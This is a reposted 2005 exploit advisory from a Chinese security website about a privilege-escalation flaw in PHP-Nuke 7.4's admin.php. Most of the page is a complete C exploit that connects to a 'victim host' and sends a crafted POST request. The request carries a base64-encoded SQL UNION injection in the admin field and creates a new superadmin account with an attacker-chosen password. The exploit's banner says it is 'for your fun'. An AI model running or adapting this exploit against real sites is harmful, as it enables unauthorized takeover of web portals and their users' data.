首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP-Nuke POST Method Admin Variable Privilege Escalation
来源:www.autistici.org/anacron.group-italy 作者:Silentium 发布时间:2005-02-15  

PHP-Nuke POST Method Admin Variable Privilege Escalation

Summary
PHP-Nuke contains a flaw that allows a malicious user to gain access to unauthorized privileges. The vulnerability is triggered by a user submitting a specially crafted POST request to the admin.php script. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by ilentium of Anacron Group Italy.
The original article can be found at: http://www.autistici.org/anacron-group-italy/file/source/silePNUKExpl_v7.4.c

Details
Vulnerable Systems:
* PHP-NUKE version 7.4

Exploit:
/****************************************************
* *
* phpNUKE v7.4 exploit *
* *
* this exploit create new admin with relative *
* passwd that you specified on parameter of exploit *
* you take administrative control of the webPortal *
* *
* coded by: Silentium of Anacron Group Italy *
* date: 07/02/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron.group-italy *
* *
* this tool is developed under GPL license *
* no(c) .:. copyleft *
* *
****************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80 // port of web server

void info(void);
void sendxpl(FILE *out, char *argv[]);
void errsock(void);
void errgeth(void);
void errconn(char *argv[]);

int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn;
struct sockaddr_in addr;
struct hostent *hp;

if(argc!=5)
info();

if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0)
errsock();

system("clear");
printf("[*] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
errgeth();

printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
errconn(argv);

printf("[*] Connecting at victim host [OK]\n");

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out,argv);

printf("[*] Now check your username and password\n"
" on http://%s%s\n\n",argv[1],argv[2]);

shutdown(sockconn,2);
close(sockconn);

return 0;

}


void info(void){

system("clear");
printf("#########################################\n"
"# phpNUKE v7.4 exploit #\n"
"#########################################\n"
"# this exploit create an admin with #\n"
"# the relative password, for your fun. #\n"
"# exploit coded by Silentium #\n"
"# Anacron Group Italy #\n"
"# www.autistici.org/anacron-group-italy #\n"
"#########################################\n\n"
"[Use]\n\n"
" silePNUKExpl <victim_host> <path_adminpage> <username> <password>\n\n"
"[example]\n\n"
" silePNUKExpl www.victim.com /admin.php sile silePass\n\n");
exit(1);

}


void sendxpl(FILE *out, char *argv[]){

int size = 145;

size+=sizeof(argv[3]);
size+=sizeof(argv[4]);

fprintf(out,"POST %s HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Pragma: no-cache\n"
"Cache-control: no-cache\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n"
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"
"Accept-Language: en\n"
"Host: %s\n"
"Content-Type: application/x-www-form-urlencoded\n"
"Content-Length: %d\n\n"
"add_aid=%s&add_name=morte&add_pwd=%s&add_email=email%%40mail.com&admin="
"eCcgVU5JT04gU0VMRUNUIDEvKjox&add_radminsuper=1&op=AddAuthor&Submit="
"Create+Admin\n\n",argv[2],argv[1],size,argv[3],argv[4]);

printf("[*] Sending exploit [OK]\n\n");

}


void errsock(void){

system("clear");
printf("[x] Creating socket [FAILED]\n\n");
exit(1);

}


void errgeth(void){

printf("[x] Resolving victim host [FAILED]\n\n");
exit(1);

}


void errconn(char *argv[]){

printf("[x] Connecting at victim host [FAILED]\n\n",argv[1]);
exit(1);

}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CA BrightStor ARCserve Discove
·ELOG Remote Shell Exploit
·CA BrightStor ARCserve Backup
·Prozilla Format String Vulnera
·Exim 4.x 'spa_base64_to_bits()
·TinyWeb Server DoS Exploit
·CA BrightStor ARCserve Backup
·vBulletin 3.x forumdisplay.php
·Savant Web Server 3.1 Remote B
·Linux Kernel <= 2.6.11-rc3
·FOXmail POC exploit
·Buffer Overflow in OSH
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved